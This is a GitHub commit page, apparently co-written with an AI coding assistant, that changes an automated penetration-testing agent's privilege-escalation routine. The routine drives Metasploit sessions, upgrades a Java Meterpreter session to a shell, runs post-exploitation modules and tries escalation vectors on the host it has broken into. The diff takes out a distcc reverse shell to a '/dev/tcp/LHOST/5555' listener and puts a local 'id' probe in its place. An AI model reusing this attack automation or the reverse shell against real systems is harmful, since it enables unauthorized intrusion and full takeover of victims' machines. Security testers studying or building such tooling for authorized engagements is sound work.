Skip to content

Commit 11ab993

Browse files
Kim-San04claude
andcommitted
fix: upgrade to OS shell before privesc commands
- _run_privesc_sequence: for Java Meterpreter (arch==java), load stdapi then execute -f /bin/bash before running any shell commands; verify shell is usable with 'id || whoami' and fallback execute -H -f /bin/sh if 'Unknown command' is returned - Per-attempt timeout: read attempt.get("timeout", 15) so distcc_rce can use 30s without affecting other vectors - distcc_rce: use DISTCC_HOSTS='127.0.0.1' distcc /bin/sh -c 'id' (local test probe) with timeout 30 - msf_local_exploit: cast SESSION to int(session_id) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
1 parent 1887426 commit 11ab993

1 file changed

Lines changed: 31 additions & 3 deletions

File tree

agent/action_executor.py

Lines changed: 31 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -398,7 +398,8 @@ def _execute_post_exploit(self, decision: Dict):
398398
{
399399
"name": "distcc_rce",
400400
"check": "which distcc 2>/dev/null",
401-
"exploit": "distcc sh -c 'sh -i >& /dev/tcp/LHOST/5555 0>&1'",
401+
"exploit": "DISTCC_HOSTS='127.0.0.1' distcc /bin/sh -c 'id'",
402+
"timeout": 30,
402403
},
403404
{
404405
"name": "writable_passwd",
@@ -421,7 +422,33 @@ def _execute_privesc(self, decision: Dict):
421422

422423
def _run_privesc_sequence(self, session_id: str) -> str:
423424
session = self.msf_client.sessions.session(session_id)
425+
arch = self.state.sessions.get(session_id, {}).get("arch", "")
424426

427+
# ── Step 1: upgrade Java Meterpreter to OS shell ───────────────────
428+
if arch == "java":
429+
try:
430+
session.run_with_output("load stdapi", timeout=10)
431+
except Exception:
432+
pass
433+
try:
434+
session.run_with_output(
435+
"execute -f /bin/bash -i -H -c", timeout=5
436+
)
437+
except Exception:
438+
pass
439+
440+
# ── Step 2: verify we have a usable shell ──────────────────────────
441+
test = session.run_with_output("id 2>/dev/null || whoami", timeout=10)
442+
print(f"[PRIVESC] Shell check: {test.strip()}")
443+
if "Unknown command" in str(test):
444+
try:
445+
session.run_with_output(
446+
"execute -H -f /bin/sh -a '-c \"id\"'", timeout=10
447+
)
448+
except Exception:
449+
pass
450+
451+
# ── Step 3: attempt privesc vectors in order ───────────────────────
425452
for attempt in self.PRIVESC_ATTEMPTS:
426453
name = attempt["name"]
427454
if name in self.state.privesc_tried:
@@ -437,19 +464,20 @@ def _run_privesc_sequence(self, session_id: str) -> str:
437464
continue
438465

439466
exploit = attempt["exploit"]
467+
exploit_timeout = attempt.get("timeout", 15)
440468

441469
# MSF post-module path
442470
if exploit.startswith("msf_module:"):
443471
module_path = exploit.replace("msf_module:", "")
444472
msf_mod = self.msf_client.modules.use(
445473
"post", module_path.split("/", 1)[1]
446474
)
447-
msf_mod["SESSION"] = session_id
475+
msf_mod["SESSION"] = int(session_id)
448476
msf_mod.execute()
449477
time.sleep(5)
450478
continue
451479

452-
output = session.run_with_output(exploit, timeout=15)
480+
output = session.run_with_output(exploit, timeout=exploit_timeout)
453481
print(f"[PRIVESC] Output : {output[:150]}")
454482

455483
if "followup" in attempt:

0 commit comments

Comments
 (0)